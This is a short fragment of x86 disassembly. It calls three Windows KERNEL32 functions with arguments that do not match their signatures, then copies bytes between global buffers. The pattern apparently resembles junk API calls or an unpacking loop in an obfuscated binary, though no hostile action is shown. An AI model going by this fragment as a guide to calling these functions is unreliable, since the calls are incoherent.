call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esp + 0x42c]
push ecx
push 0x403640
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
mov edx, dword [0x2bc9a98]
mov ecx, dword [0x2bc9168]
mov al, byte [edx + esi + 0x38d6]
mov byte [ecx + esi], al
add esp, 0xc2c
ret